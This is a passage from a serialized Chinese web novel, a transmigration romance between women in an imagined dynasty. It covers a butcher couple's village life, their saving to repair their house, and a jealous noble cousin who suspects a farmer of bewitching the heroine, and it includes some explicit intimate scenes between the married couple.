表姐贪玩的性子也让她很是无奈,定了定心神,她垂眸道,“杀猪啊,怎么做这般粗鲁的营生?表姐也是胆子大,竟敢去看,若是我,吓都要吓死了。” “为了生计有何粗鲁的,只是你与惜枝一样,胆儿都小的跟老鼠似的罢了。” 楚晚棠脸上闪过暗色,咬着唇,几乎掐断自己的指甲,表姐竟拿我与旁人比较!那惜枝究竟是何许人,既同另一女子亲亲抱抱,又惹我表姐对她赞许不已! “表姐,今日用膳间的两位姑娘是姐妹吗,我观她们好像十分亲密要好。” 表姐最喜欢的那个惜枝,还被亲了两下! 这实在不像是普通关系,她们好似还住在一起,莫非也是与她和表姐般的姐妹? 然而池厢月却摇摇头,给她扔下一个惊天巨雷,“什么姐妹,当然不是,她俩是磨镜啊,自然亲密,每日甜的我牙都要掉了。” “什,什么?” 楚晚棠呆愣之下,竟直言,“她们也是磨镜?” 池厢月没听明白,疑惑,“也?还有谁是磨镜?” 小姑娘立马噤了声,乖乖巧巧摇头。 “没有谁,我说错了,表姐歇息吗?” “你累了一日,自然该早些休息。” 她说没有,池厢月也不追问,只在表妹听见休息后眼睛一亮,凑上去欲亲她时一把将人扯住,面色凝重,“嘘!这等事不能随便做的,从前你不懂事也就罢了,如今也到可以与人议亲的年纪,我朝允许女子与女子成婚,那你我太过亲密便会遭人闲话,像……你之前亲我那样的事,都是只有有情人才能做的,日后不许再这样了。” 她也是迟钝,直到碰见了一对磨镜妻妻,见宋渝归身为磨镜,便处处与旁的女子保持距离,她才恍然觉出点什么。 女子与女子即便关系再好,在这个以名节为重的朝代,也不可那样亲密。 楚晚棠被教育了一顿,面上很听话,一脸恍然大悟,又受教了一般,心里却仿佛被一只大手攥了又攥,气血翻涌,谁教我表姐这些的! 把我表姐都教聪明,不是,教坏了! 另一屋,宋渝归与妻子也堪堪亲密完,小姑娘撅着雪白的屁股,已经习惯被妻子攥在手里把玩了,只是今日也玩的过了一些,娇臀上隐隐绰绰能望见几个纵横交错的红手印。 小姑娘趴在妻子怀里,用手指捻着她里衣的盘扣,满含怨念,“你又这样弄我,从前我做错事便罢,可今日分明什么也没做错,你还要这样欺负我。” 热乎乎的屁股在人手心蹭了两下,反而将屁股蹭湿了,看起来便是白嫩水润的。 有点不舒服。 沈惜枝撇了撇嘴,又十分不满。 宋渝归倒是一脸餍足,小媳妇儿香香软软的,无论是摸,抱,还是亲亲,触感都极好。 “好了,别生气了,我抱你去洗一洗好不好?” 热水烧好了,就在外头,一身黏腻的,总要洗一洗才舒服。 沈惜枝靠在她怀里,早已力竭,闻言也只是疲惫的微微点头。 下一刻,便被人打横抱了起来,她靠着妻子胸口,只要是女子,胸口总是软的,而她妻子的又大又软。 “你都不累吗?” 她疑惑出声,但很快又反应过来,她有什么好累的,挨折腾的可是我,哼。 宋渝归将人放在凳子上,甩了甩手腕,还真抱怨起来了,“累啊,当然累,我手指都动不了了!” 她将手举着,其中两根僵直不灵活,一根甚至微微发颤。 沈惜枝脸黑,不想听她说这些,默默转过身子,“我又没叫你弄那么久,你活该!” “哼,好哇,小枝儿你都不心疼我了。” 她走到沈惜枝面前,沈惜枝又往另一边转,总之就是不看她不理她。 宋渝归见状,直接捧住媳妇儿小脸,任她往后挣扎也挣扎不掉,一双眼睛气呼呼水泠泠瞪她。 嘿,别说,真可爱。 她低头便往已经泛红的唇角啃了一嘴。 感受到妻子的气鼓鼓,一颗心早已软的稀巴烂。 “好啦,不生气了,我日后不这样了还不成嘛。” “你总是说不这样了,但没有一次是真的。” 沈惜枝扭头趴进妻子怀里,颇为委屈,倒是没有再闹脾气了,不过一会会儿的时间,她已将自己哄好。 宋渝归抱着她,心中熨帖不已,手指不由捏着女子身后雪白嫩滑,透着几根红色的软肉,揉了揉。 第69章 该死的乡野村夫 第二日宋渝归早早起来准备去镇上卖肉,顺便把惜枝叫醒,惜枝辛苦一晚上,困得眼睛都睁不开了,但不想被一个人留在家里,还是挣扎着起身,冰凉的水在她脸颊贴了贴,刺激的她困意去了大半。 “唔,好凉。” 宋渝归特意洗了手进来摸她,却不想她被冻到了,只是打个激灵,接着便一扭身,闷不吭声投进她这个故意冻她之人怀里,模样乖巧软糯。 好生可爱。 宋渝归一瞬间心软,将手指放身后弄热乎了才敢再拿出来,这次再摸她,她就不会被冻着了。 吃过早饭后,惜枝在屋里穿衣服,她在屋外将车拉出来,一晚上没见的推车,上头竟还有一个略丑略粗糙的篮子。 昨日池厢月的小表妹突然到来,她激动的一把就丢了自己精心编织的竹篮,抱表妹去了,到最后也没想起把竹篮拿走。 宋渝归将竹篮放到家中小鸡的窝上,池厢月爱喂鸡,过来看见了自己就会拿的。 她心中想着人表妹远道而来,总得带表妹到处逛一逛吃一吃玩一玩。 那女子瞧着娇滴滴的,上山八成是不行了,或许今日能在镇上相见。 这般想着,却是直到中午卖完了肉,都没见着半个人影,直到回村了,在田野里望见那辛勤劳作之人。 宋渝归:…… 沈惜枝见她停住脚步,也下意识随她看过去,然后:…… 她十分诧异,“池姑娘怎么又去了?她不是说不去了吗?” 也不止池厢月,田野之上有一道与乡村格格不入的人影,衣着淡雅,气质出尘,同田野里的所有人似乎都划开了一道分割线。 她站在田野边,目光沉沉的盯着下面劳作的……男主。 宋渝归莫名打了个寒颤,拉上媳妇儿走了,池厢月抬头连她人影都没看见。 但没一会儿,她出门打水,便见池厢月也着急忙慌回来了。 怀里抱着她那娇滴滴的小表妹,神色慌张,小表妹虚弱靠在她胸口。 身后还跟了一个憨厚笨拙,有些无措的男子,正是宋星川。 他跟在两人身后,着急想为自己解释,“我,我真的没有碰她。” 池厢月都没看见宋渝归,竟也能突破剧情对宋星川怒目而视。 “你没碰我表妹怎么摔了!难道是她自己摔的吗,我日日帮你干活 ,也不要你的银子,你就是如此回报我的?我表妹身娇体弱,她要是摔出什么问题来,宋星川,我绝不与你善罢甘休!” 她言语决绝,宋星川微黑的脸都白了一层。 楚晚棠抿着粉白的唇,委屈的靠在表姐怀里,见状,微微挺起腰肢,拿脸蹭着表姐脖子,小声又可怜道,“表姐,我好疼……” 这话一出,池厢月立马顾不上宋星川了,心疼的抱着表妹哄了哄,“没事,家里有药的,抹了药就不疼了。” 表妹纤细嫩白的手腕揽着表姐脖子,柔弱点头,“嗯,那我们快回去吧。” 她不想让表姐再和这乡野村夫说话了。 简直是疯了,竟然敢叫我表姐干活! 他算什么东西,从前在京城,皇子都不敢随意使唤我表姐! 楚晚棠越想越气,几乎在心里气到呕血,说什么也不愿表姐与他说话。 表姐今日奇奇怪怪,好端端的非要去给一个村夫干农活,定是这混账东西使了什么阴谋诡计才拿捏住我表姐! 她与表姐曾日夜相对,是最了解表姐性情不过的,她都来了,表姐怎么可能不陪她,反而让她在山野间看她种地? 不可能,绝不可能,这不是表姐的性子,定是这男子使了坏。 莫非是给我表姐下蛊了? 该说两人不愧是表姐妹,都想到一处去了。 她挂在表姐身上,视线从她颈项间穿过,落在身后仍旧慌张无措的宋星川身上,带着警告与凉意,宋星川浑身僵住。 他知道这名女子,昨日坐着听闻极其昂贵的马车入村,今日才得知她与池厢月是表姐妹,身边有一个女侍卫,手中抱剑,脸色常日冷然,他稍看对方久一些,她便会挡住他的视线,那如利剑般的目光扫过来,让人不寒而栗,不像是寻常人,倒像是,浴血过的。 他知道,他真的不能再和池厢月来往了。 否则恐会招来杀身之祸。 在原地站了许久,终于转身离去。 池厢月生性好动,总是受伤,屋里抹伤口的药不少,都是上等的,她也舍不得给表妹用太差的药。 表妹不过与宋星川说了几句话,便摔的手掌擦出血丝来,可把她心疼死了。 “怪我,早知道今日就不带你去田里了。” 楚晚棠不喜欢这句话,她靠在表姐怀里,染了些许黄泥的手掌正被人拿帕子擦拭,声音淡淡的,“表姐应该说,早知道今日便不去田里种地了才是,表姐也是权贵出身,为何非要去田里种地?” 说到这,池厢月便有点尴尬,挠了挠后脑勺,诚实摇头,“我也不知道啊,一觉睡醒就很想去。” 有表妹在我都想去,还把表妹带去了,还让表妹受伤了,我简直罪不可赦! 她在心里骂了自己一通,替表妹擦手的动作愈加轻柔。 却不想楚晚棠听了这话,眸色暗沉到极致,混账东西,果真是用了邪术控制表姐,妄图攀上富贵吗? 呵,有我在,别想再欺负表姐一回! 池厢月同表妹亲近,素来什么话都愿意与表妹说,眼下在自个儿家里,她张口便苦恼的将这段时日一醒来就想去给宋星川干活,但一看见渝归就会骤然清醒不想干活的事说了一遍。 楚晚棠越听越心惊,表姐自然不会骗我,那就是宋星川有古怪。 区区偏野山村之人,竟敢肖想我表姐? 呵。 至于什么一看见隔壁女子就会清醒恢复理智,楚晚棠没放在心上,她觉得这是表姐意志坚定,被邪术蛊惑也偶尔能恢复神智不为所动,与隔壁女子有什么关系,我表姐最棒了! 沈惜枝只纠结了一会儿池厢月为何还要去干农活的事,便没有再想了,那到底是别人家的事,跟她才没有关系呢。 小姑娘在家里抱着妻子手臂,坐在她怀里,正被人责问。 “不是让你给自己也做一身衣服吗,我怎没见你开始做?” 好几日了,那纺车与针线便没见动过,是不是想赖掉? 是的没错,沈惜枝就是这么想的,眼下被妻子指出,几乎怼着她问,小脸红了又红,纤纤玉指落在妻子肩膀上,无助的推她,眼眸水润,“你,谁让你要我做那般羞人的样式,我不敢做。” 宋渝归语重心长,“这有什么好不敢做的,我们在自己家看看,又不穿出去给别人看,你就做一做嘛,求求你了,好惜枝。” 她摇晃着惜枝的身子,将她柔软身形摇的歪七扭八。 看上去仿佛是真的很想要一身那样的衣服。 可是,可是…… 她当然想要了,她素来不正经,而且穿衣服的是她! 小姑娘哼哼唧唧两声,始终不肯答应,之前明明应过了,现在又反悔,被宋渝归气的在脖子上啃出了好几个深色印记。 傍晚,池厢月准时带着小表妹出现,楚晚棠在得知隔壁是一对下过婚契,正经成婚的磨镜妻妻后,便对她们没了开始的恶意,也和善起来了。 表姐初到乡村,多亏两人照拂,今日便正正经经道了谢,拂了礼,宋渝归没见过这般有规矩之人,一时懵的连怎么回礼都不知道,就说了句不必谢,幸而对方也没说什么,转而视线落在沈惜枝身上。 她素来敏锐,自然发现了对方努力遮掩,却仍有些掩盖不住的红痕,好几个呢。 心中惊诧,她们竟如此亲密吗。 她从未敢在表姐身上弄出痕迹过,只一回趁表姐睡着了,又对她不设防,在她锁骨处弄了一个,还差点被发现,骗表姐是蚊子咬的才躲过去,原来成了妻妻,便能过上这样的好日子了。 楚晚棠心中有些艳羡。 沈惜枝觉得奇怪,先前楚姑娘分明不喜欢她,隐隐看她的目光都带着打量生气,今日竟多了羡慕。 她也身份不俗,有什么好羡慕我的? 但对方既没有恶意,她也不会平白去针对人家,多惹麻烦没有必要。 宋渝归随口招呼,“你们先坐一会儿,今晚吃糖醋排骨。” 一听这名儿,池厢月眼睛又亮了,蹭饭这么久,她当然也吃过糖醋排骨了,就两个字,好吃! 她激动的拉住表妹雪白纤长的手指,感动道,“今日可算有口福了!” 表妹:…… 吃吃吃就知道吃,哼! 对我都没有好吃的那般关注。 小表妹心中吃味,却不好说出来,只能独自一人气闷。 见表妹神色平平,她就知道对方并没有把她的话放在心上,没事,惜枝的厨艺会征服所有人! 糖醋排骨除了要额外炖一会儿,旁的倒没什么了,做起来不算麻烦。 宋渝归烧着火,沈惜枝掌勺,很快便将排骨的汤汁收浓端上桌。 酸味直刺的人想打喷嚏。 楚晚棠默默捂住鼻子,心想,这样的菜也会有人喜欢吃吗? 表姐吃惯了山珍海味,会喜欢吃这样的菜? 因如今是四个人用餐,她们便做了三道菜,但也不是什么大菜,一道炒鸡蛋,一道肉沫豆腐,一道糖醋排骨,落在池厢月眼里,就跟过年了一般。 “好香啊。” 落在楚晚棠眼里:……从未如此寒酸过。 “尝尝吧。” 想到昨日沈惜枝说楚晚棠不喜她的话,她便也没怎么和对方说话。 只是偶尔余光瞥到,见楚晚棠的碗上堆的满满当当的。 是她表姐夹的。 再看看自家媳妇儿,小口小口就一点汤汁吃着米饭,安静乖巧。 这她就不大高兴了,连女主这般粗心的人都能注意身边亲近之人吃饭,她竟不记得。 “怎么不吃肉。” 宋渝归给她夹了两块糖醋排骨,又用勺子舀了一勺肉沫并着裹满汤汁,嫩乎乎的豆腐。 “糖醋排骨好吃吗,棠棠。” 楚晚棠不想说话,心里闷闷的,这惜枝姑娘做饭果然好吃,难怪表姐都乐不思蜀了。 她鼓了鼓腮帮子,不想搭理表姐,又怕自己不说话好像不喜欢吃一样,有些失礼,谁叫她家表姐在旁人家里蹭饭多日呢。 磨磨蹭蹭的,她才向沈惜枝道谢,“多谢惜枝姑娘与渝归姑娘款待。” 沈惜枝忙道,“不必多谢,楚姑娘爱吃就好。” 这顿饭每个人都吃的很饱,连素来自矜,要好看要身材纤细的小表妹也吃了个九分饱才停下。 池厢月帮着收拾碗筷,她见不得表姐辛苦,做这些粗活,但也知道她们若什么都不做只等着吃不大好。 拧眉思索片刻,楚晚棠从怀里掏出一个沉甸甸的钱袋子。 沈惜枝正想着今晚妻君要盯着她做衣裳的事该如何躲过去,面前就出现了一只绣样精致的荷包。 她一愣,抬头。 只见对面很有些贵气的女子对她歉意一笑,“这段时日,我表姐叨扰姑娘了,这些是我的一点心意,还请姑娘莫要嫌弃。” 沈惜枝傻眼,即使没有上手去掂,她也能看出里头装的银钱不少。 她连忙把钱退回去,摇头蹙眉,“池姑娘也帮我们许多,楚姑娘客气了,本就是朋友,您这般不合适。” 沈惜枝垂眸,心想,楚姑娘家是做官的还是富绅? “你不要?” 楚晚棠有些诧异,这村子的贫穷她看在眼里,还以为对方不会拒绝,甚至会有些高兴。 沈惜枝轻轻摇头,也没有解释什么,她和楚姑娘不熟,解释多了难免叫人觉得装模作样。 她不肯要,楚晚棠只得收回来,轻笑,“倒是我冒犯了。” 沈惜枝道一声无事,屋内便安静下来,过了会儿,她又淡淡问起,“昨日我听我表姐说,你与渝归姑娘,是一对磨镜妻妻?” 她装作随口一问的样子,实际却竖起了两只耳朵,准备好好听一听。 沈惜枝轻轻点头,“嗯。” 听到妻子的名字,她下意识露出一点笑来,一看就过得十分幸福。 楚晚棠低头理了理袖子,问,“我朝磨镜并不算多,你们怎么会想到自己是磨镜的?” “啊,这……我也不知晓,是我妻子拿了聘礼上门与我家说亲的。” “是渝归姑娘求娶的你?” “嗯。” 沈惜枝俏脸微红,又听对方问,“她求娶你,你家里便答应了?父母亲人呢,也不曾反对吗。” 提到那些人,沈惜枝脸上笑容淡去些许,“我妻子带了聘礼而来,他们有什么好不同意的。” 楚晚棠看出她与父母关系似有不睦,及时噤了声,但心中还是有些好奇,当晚就在被窝里与表姐探讨完毕了。 “原来她竟有这种父母,真是看不出来,我见她总是温软娇俏,也不怯场,还以为她至少是家庭和睦。” 池厢月耸了耸肩,“渝归养媳妇儿养的好呗,我可是亲眼见过她父母来要钱的,还想打她呢,幸好被我拦下了。” 楚晚棠很喜欢听表姐说在这发生的事,听她说完便一点一点蹭进她怀里,语气有些骄傲,“嗯,我知道表姐是很好很好的人,碰见这种事,表姐一定会帮忙的。” “嗯哼。” 宋渝归与沈惜枝也刚刚洗完澡躺下,小姑娘一点一点蹭进妻子怀里,与她咬耳朵,做贼似的轻声说,“妻君,我觉得池姑娘的表妹是个磨镜。” 她翻了个身,揽住妻子雪白柔软的身体,将她拥进怀里。 昨天闹的晚早上又起得早,她其实有些困了,听见这句话,下巴搁在妻子肩窝,眼眸只睁了挑缝儿,声音含糊不清,“嗯?你怎么知道的?” 沈惜枝不会隐瞒妻子,她将自己往妻子怀里塞了塞,红着脸努力无视身下作乱的手指,温声道,“今日楚姑娘一直问我关于磨镜的事。” “她或许只是好奇?” “可她的语气十分向往,羡慕我虽长于山野,身上却没有家族长辈的束缚。” 这倒是听起来真有点像了。 宋渝归点头,不过人家的事她也懒得管,磨镜就磨镜呗,只要不喜欢我老婆就行。 然而下一刻,沈惜枝说出的话又让她重燃兴趣。 “我觉得楚姑娘仿佛对池姑娘有意。” 宋渝归:垂死病中惊坐起! “果真吗?” 脸上透着对八卦的渴望。 “嗯嗯,她总是看池姑娘呢,听见池姑娘和宋姑娘关系好,时常在一起玩,还不高兴了,与我说池姑娘不过是因她不在才会和旁人玩的,如今她来了,池姑娘只会与她玩。” 沈惜枝自己也爱上过一根木头,对旁人眼里深藏的爱意十分敏锐,反正她就觉得楚姑娘喜欢池姑娘,池姑娘怕是还不知道这件事呢,只拿楚姑娘当妹妹疼着。 “额~你轻点呀!” 宋渝归被新鲜出炉的八卦惊到,一时没注意,掐着她了。 见媳妇儿疼,她才连忙收回手,脸色都着急了几分,“很,很用力吗,我不是故意的,等会儿,我给你看看。” 她说着就往被子底下钻,急得沈惜枝忍住身体的反应又往后退。 做什么呀! 这不是要羞死人了吗? 宋渝归都抱着人屁股将脸凑过去了,忽而又顿住,尴尬的松开她从里面钻出来,“那个,在里面看不见,你把被子掀开,张腿我看看呗。” 沈惜枝:…… 她羞愤欲死,脸红的几欲滴血,钻进去看已经够羞人了,现在还要她主动分开与她看? 想都别想! 只见小姑娘将被子掀过头顶,默默逃避,里面只有一句因隔着被子而显得闷闷的却仍旧十分火大的话,“我没那么疼!” 张腿给她看? 她是真敢想。 “真的吗,可你刚刚不是很疼吗?” 反应还很大来着,汩汩清泉不受控制淌在她手上。 虽然淌的少,但架不住缓缓的淌了好一会儿呀! 这反应能是不疼的样子? 可沈惜枝就咬死了自己不疼,叫人没有任何办法。 宋渝归无奈,只好凑近,将被子强硬的拉下来一点,然后贴着她的耳朵小声说了一段话。 叫本来只是脸红的姑娘,一下子全身都白里透粉的。 啊,要,要这样吗…… 宋渝归亲亲媳妇儿露出来的小半边侧脸,温柔道,“口水真的能促进伤口愈合,我给你试试好不好?” 她这话问出来,好不好就不是由沈惜枝说了算的了,她不答应也会被人磨着答应,更何况,她从来就没有反抗妻子的能力。 笔直纤细的长腿在被子下分来些许,漂亮鹿眸氤氲着浓浓水雾。 她从来没有一次,如此如此着重照顾过那个地方,于是天地失色,她甚至连自己还活着都要忘却了。 只满心挂念身体的欢愉。 月明星疏,不知过了多久,女子隐忍的哭泣声才停下来。 宋渝归却被迫起了好几次夜,又闹晚了,第二日起来时天竟然都亮了! 她见天亮,也懒得再去镇上,干脆罢了一日工,揽着媳妇儿又睡回去了。 等沈惜枝起床见天光大亮,心里便觉得不好。 渝归姐姐不在意少赚一日的钱,她却是在意的,立马急得坐了起来。 宋渝归本就只是在浅眠,察觉到妻子动静,也从榻上爬起来,揉了揉眼睛,声音带着初醒的温柔。 “醒了?还困不困,这几日都辛苦你了,今日便先不去镇上了,我们都歇一歇吧。” 做这种事也不止惜枝会疲惫,她也会啊! 她舌头都没有知觉了! 沈惜枝幽怨的瞪她一眼,口中嘟囔出声,“还说要修房子,我们这样要猴年马月才能修的起房子啊,每次一下雨,屋里就同漏水一样……” 小姑娘抱怨着。 最近天气很好,一直没有下雨,竟叫宋渝归也忘了她家下雨漏水,虽然修补过了,但总叫人惦记。 她将人揽在怀里揉了揉圆润的肩头,又后悔少赚一两银子了,“是我不好,明日我就继续出摊,不偷懒了。” 她说不偷懒了,沈惜枝又不乐意,摇摇头,“那不行,你会很累的,以后我帮你卖肉,你在旁边休息就好了。” 她方才只是忽然有些焦虑,这大约便是,妻君所说的经前期容易躁郁不安? 看来这个月的经期是准的,也快来了。 “这么心疼我啊。” 她笑着揉揉妻子的脸颊,她顿时羞怯,又埋首进人怀里。 两人今日定了先去割猪草,再去买些菜种子回来种,收拾好出去时,隔壁屋正好出来两人。 她们抬眼就看见气质温润如兰的楚小姐臂弯里挎着一个形状歪扭的篮子,手还拉着池姑娘,语气平静却暗藏冷意,“表姐该不会又想去给那个男人种田吧,不是说好要带我去镇上买东西的?” 第70章 亲昵(含作收加更) 池厢月精神恍惚,几次要走出去了,又被表妹拉回来,不许她去。 直到听见耳畔熟悉的打招呼声,“池姑娘,楚姑娘。” 她猛然回头,见到宋渝归后整个人都站直了,好似容光焕发,立马斩钉截铁承诺表妹,“不去!我自然不去了,说了今日带你去镇上就一定是带你去镇上,我们现在走吧!渝归,你与惜枝今日没去卖肉吗?” “嗯,今天休息。” “那我们一起去镇上呗。” 她怕自己和表妹走着走着,又跑去给宋星川种地,十头牛都拉不回来那种,表妹肯定会被气死的,还是带上渝归更保险些。 宋渝归今日本就要去镇上买一些菜蔬种子,想了想,刚要答应,又看两人一眼,忽而不放心道,“我们跟着去会打扰你们吗?” 池厢月一脸懵,“啊,打扰我们?人多热闹啊,这有什么好打扰的。” 她不太理解。 宋渝归意味深长的看了池厢月一眼,见她身边表妹脸色微变,心中就有数了。 吃到瓜了! 新鲜的! 她低头咳了一声,婉言拒绝,“你与楚姑娘经久未见,自己玩去吧,我和惜枝要晚点才能去镇上。” 池厢月低落,又为自己的破毛病担忧,“啊,好吧。” 小表妹不高兴了,挽着表姐的手臂,“怎么了,只同我玩不好吗,表姐不喜欢棠棠了?” 她语气听起来有些委屈,那池厢月哪里敢认,立马便否了,“怎么会,只和棠棠玩也很好的!我最喜欢和棠棠玩了,你别难过啊,那我们先走吧,你饿不饿,带你去镇上用早膳。” 听她话语连珠似的哄她,她心里这才舒坦了些,“嗯,好。” 楚晚棠的马车便停在外面,两人乘坐马车去镇上。 等她们走了,沈惜枝收拾好探头探脑的走出来,从后面轻轻抱住妻子,与她咬耳朵,说悄悄话,“渝归姐姐,你与池姑娘还有楚姑娘说话时可有看出什么?” “看出来了,你昨晚的猜测八成是真的!” 人人都有一双发现奸情的眼睛,她之前没注意,现在看一眼就发现不对了! 哼哼,我媳妇儿果然眼尖。 “方才池姑娘邀请我们与她们一起去街上,我拒绝了。” “嗯,自然要拒绝,我们若应了,楚姑娘怕是会不大高兴。” 她蹭了蹭妻子,被人转身抱进怀里,“嗯,让她们自己玩去,我们可不管。” 两人在家里喂了鸡,又一起去割猪草喂猪,然后宋渝归坐下盯着小媳妇儿绣了会儿衣裳,将对方原本白嫩的小脸蛋看的通红通红。 直到吃完午饭,两人才去了镇上买菜蔬种子。 路过田野,宋渝归下意识便往里头伸脖子,没看见忙碌的女主身影,终于放心了。 女主没跑去给人干活。 不错,有进步。 两人只是去镇上逛逛,用过午饭就回来了,下午时,池厢月闲不住又要去山上砍柴,素来黏她的楚晚棠竟然不去,只是站在家门口替她理了理衣裳,叫她早些回来,小心一点,别剐蹭到。 池厢月点头应了,兴冲冲握着镰刀往山上跑。 抱剑女子形如鬼魅的出现在主人身侧,一言不发,跟着主人进了屋子。 宋渝归刚好目睹一切,深吸一口气,满脸艳羡,天杀的为什么不让我穿到一个武学世家,这多帅啊! “渝归姐姐,我们一会儿就去播种吗?” 正羡慕着,媳妇儿忽而说话,她便转身回应去了,“嗯,我留了一块与我们家最近的地,去那里种后面侍弄起来也方便。” 其他地都被她租出去给旁人打理了,原主惫懒,家里的地早就长满杂草,要她去弄,拔草都得忙活好几天,干脆少要点钱交给旁人弄吧。 “好。” 沈惜枝柔柔应了。 另一间门窗紧闭的房屋内,唯有指尖敲击木桌发出的清脆之声,年岁不大的女子低头喝了一口热茶,问,“查出什么来了吗,那宋星川可有古怪?” 侍卫摇头,眉心紧皱,“属下并未查出任何邪物,观宋星川仿佛也只是一名普通农夫,没有不对之处。” “呵,普通农夫竟能勾的我表姐魂牵梦萦,那他真是该死。” 楚晚棠很想杀他,但此地不比京城,有能力杀人的太少了,她若敢动手,表姐立时就能察出不对,只可从长计议。 “你去将他带来见我。” 在池厢月面前时温软可人的小表妹,此时竟一身冷然,脸上再没有半分笑意。 等池厢月砍完柴归来时,家里却又一切如常了。 楚晚棠含笑迎着表姐。 “表姐累了吧,我刚煮了茶,喝一杯?” 风雨欲来都和她没关系,她猛猛点头,“好啊好啊,表妹泡的茶也最好喝了。” 小表妹并不害羞,表姐夸她的话,她从小听了可多可多,都听习惯了。 但表姐要一直如现在一样,喜爱她,夸奖她,这份好,绝不能给旁人。 否则她会生气的。 楚晚棠眸中闪过暗色,想起宋星川唯唯诺诺不敢违逆她的怂包模样,心情才好了些,什么东西,也敢让我表姐干粗活,隔壁那两个妻妻好歹会给我表姐吃好吃的,你会什么? 什么也不给,骗着我表姐给你白干?表姐单纯心软,易受奸人哄骗,我可不同。 另一屋,小妻妻刚播完种回来,正趴在屋里数银钱呢。 沈惜枝一粒银子一张银票的数,连铜板都没放过。 自从早上提起屋顶漏水的事后,两人都感觉赚钱迫在眉睫。 数了几遍,沈惜枝取出一只小匣子,将钱完完整整的放进去。 这匣子还是渝归姐姐给她买首饰时赠的,看起来十分精致,她舍不得扔,总用来装些东西。 “一共十七两多三百文,离攒够钱还有好远啊。” 小姑娘腮帮子鼓鼓的,下巴抵在桌子上发愁。 “还要好久才能修房子呢,起码得四十两。” 四十两的时候就可以开始买青砖瓦片了,一切准备就绪后再请工人来修建,中间空的时间再攒一点,凑够五十两,就能建的很好了。 如今村里最好的房子便是村长家的,但听闻也只花了三十两。 “等家里的猪再养养,我们把它杀了卖出去,还能挣个五六两,你别心急。” 如今每日的收入大半是成本,需得拿来进猪肉的,但自家的猪却不同,卖出去实打实都是自己拿的钱。 “嗯。” 想到自家被养的肥肥胖胖的猪,沈惜枝才有了些精神,又拉着妻君,“走呀走呀,我们去砍竹子!” 她想要弄些竹条编篮子,多编几个,也好帮家里挣一番收入。 “好。” 这般懂事,宋渝归若不答应,恐她心里低落多思,便拿着斧头去了。 大多竹林都是野生的,不属于任何人,所以她们家也能用。 宋渝归在一旁砍竹子,沈惜枝便在旁侧挖竹笋。 春笋鲜嫩,她们也有很久没有吃笋子了。 “今晚吃竹笋炒肉好不好?” “好啊,都听你的了。” 家里还有一些菜,再做个肉沫蒸蛋,炒一盘胡萝卜,今日的晚饭便成了。 因着人多,肉沫蒸蛋她可用了足足三个鸡蛋呢。 本以为自家养了鸡,下的蛋就够吃了,不用再额外花钱买,结果吃饭的人越来越多…… 一只鸡根本下不赢! 只要一到饭点,池厢月便会准时出现,今日不止人来了,还拎了许多菜来,用她那粗糙的篮子装着。 竹篮编的虽不好看,但这是她第一次亲手编东西,不止自己喜欢的很,表妹也很喜欢。 楚晚棠只将里头今日专门买的菜一一取出放在桌上,装菜的篮子却半点没有要给她们的意思。 又宝贝似的收在一旁。 向来只有她给表姐做荷包,央表姐带在身上,这还是第一次得到表姐亲手所做之物呢,外头那些人真是没有眼光,我表姐做的竹篮如此别致,她们竟然不要! 想起表姐和自己诉苦她卖竹篮卖了一日却没人愿意买,她都要心疼死了。 “怎买了这么多肉。” 沈惜枝正在堂前忙活着,宋渝归将火生起来,便过来看看两个客人,却见一张桌子都被菜摆满了,大多还是荤肉。 往常池厢月也经常会买菜带给她们,但不会买这样多。 这哪能吃的完。 “表妹说你们日日辛苦做饭,我该回报一二,就买了这么多,要不是我拦着,整个摊子都能给她搬空了,我就说吃不完吃不完,她偏不听。” 池厢月耸了耸肩,对小表妹一脸无奈。 被小表妹生气的嗔了一眼。 转而对着宋渝归,楚晚棠语气又温婉起来,“这并不算多,也是我的一点心意,还请渝归姑娘收下吧,否则我可不好意思再过来白吃白喝了。” 她话都说到这份上了,再不收反而不好,只好点头收下,然后低头将那些个肉一一看过去。 “都是牛肉和羊肉?” “是啊,有牛腱子和吊龙,我记得你喜欢吃吊龙,羊肉专门买的羊羔子,最是鲜嫩好吃了,还有一股奶香呢。” 池厢月一边说,一边努力控制自己的口水。 宋渝归微微点头,心想,那明天就煮火锅吃吧,羊肉片成薄如蝉翼的片片,滚了火锅,沾点辣椒油,最好吃不过了。 可惜这时候还没有麻酱,不然她能吃的更香。 今日的晚饭菜色虽少,味道却依旧不错,明明是平平无奇的菜,放在沈惜枝手里,就是能让它上升好几个档次。 连楚晚棠吃惯了好菜,也不由感叹,“比之云雨楼亦不差什么了。” 云雨楼是京城最出色的酒楼。 池厢月猛猛点头,“我也觉得,惜枝真的不开酒楼吗,好可惜。” 如果开酒楼她就能一直蹭饭了。 虽然现在也天天蹭,但她脸皮不至于那么厚,还是时常会不好意思的。 沈惜枝摇摇头,却不说为什么。 楚晚棠余光环顾四周,猜出她大抵是因为囊中羞涩,于是主动提议,“若是惜枝姑娘有意开酒楼,我正巧在此处盘了一个店面,可给惜枝姑娘用。” 三人皆是一惊,池厢月满脸茫然,“你在这里买店面了?这是为何,难不成还要久住?” 她可是打着带表妹好好玩一玩,等表妹玩腻了就把人送回去的主意! 表姐不擅动脑,她所思所想哪能逃过小表妹的眼睛,顿时被淡淡的瞟了一眼,“我自是为了赚银子。” 她早早接手了母亲的嫁妆,手里银钱颇丰,日后若要随心所欲一些,钱财是少不了的。 “哦,表妹好厉害!” 被表姐莫名真诚的夸赞了,楚晚棠虽还气着她想把自己送走的事,但嘴角到底压不住,泄露几分笑意来,后又看向沈惜枝,她为人大方,若沈惜枝准备开酒楼,她可以把新盘的店面送与她,反正表姐也盼着她开,不是吗? 可对方又摇摇头,仍是拒绝了。 楚晚棠不解,“这是为何?” 沈惜枝下意识往妻子怀里蹭去,满目茫然,片刻后才想出理由,轻声细语的,“家里还有旁的事要忙,暂且顾不上此事的,等日后,我妻子会替我绸缪的。” 她有渝归姐姐就好了,渝归姐姐会帮她想好的,不用拿别人的好处。 且家里如今连修房子的钱都没有攒出来,如何能开店呀,就算不必出店面的钱,可里头的装潢用具,却样样都得费不少银子。 哪有这样多的银钱。 既如此,楚晚棠微微点头,没再说什么。 之后的几日,宋渝归每天去镇上去的非常勤快,沈惜枝亦是。 往日她们总要多留几斤肉下来自己吃,如今至多只留两斤肉,其余的都要卖了,能多赚几文银子都好。 惜枝也是每日抱着竹条编篮子,虽然赚的很少,一个篮子仅卖两文钱,但半日下来,菜钱却是能挣到的。 卖猪肉一日约摸能有一两,便是卖的不好也有几百文之多,两人辛苦了半月,便又攒了十四两,加上前头的,有三十多两了。 沈惜枝数着钱,怨怪的推推妻子,“都说了不要买那只珠钗,你非要买,若不然还能再多二两呢。” 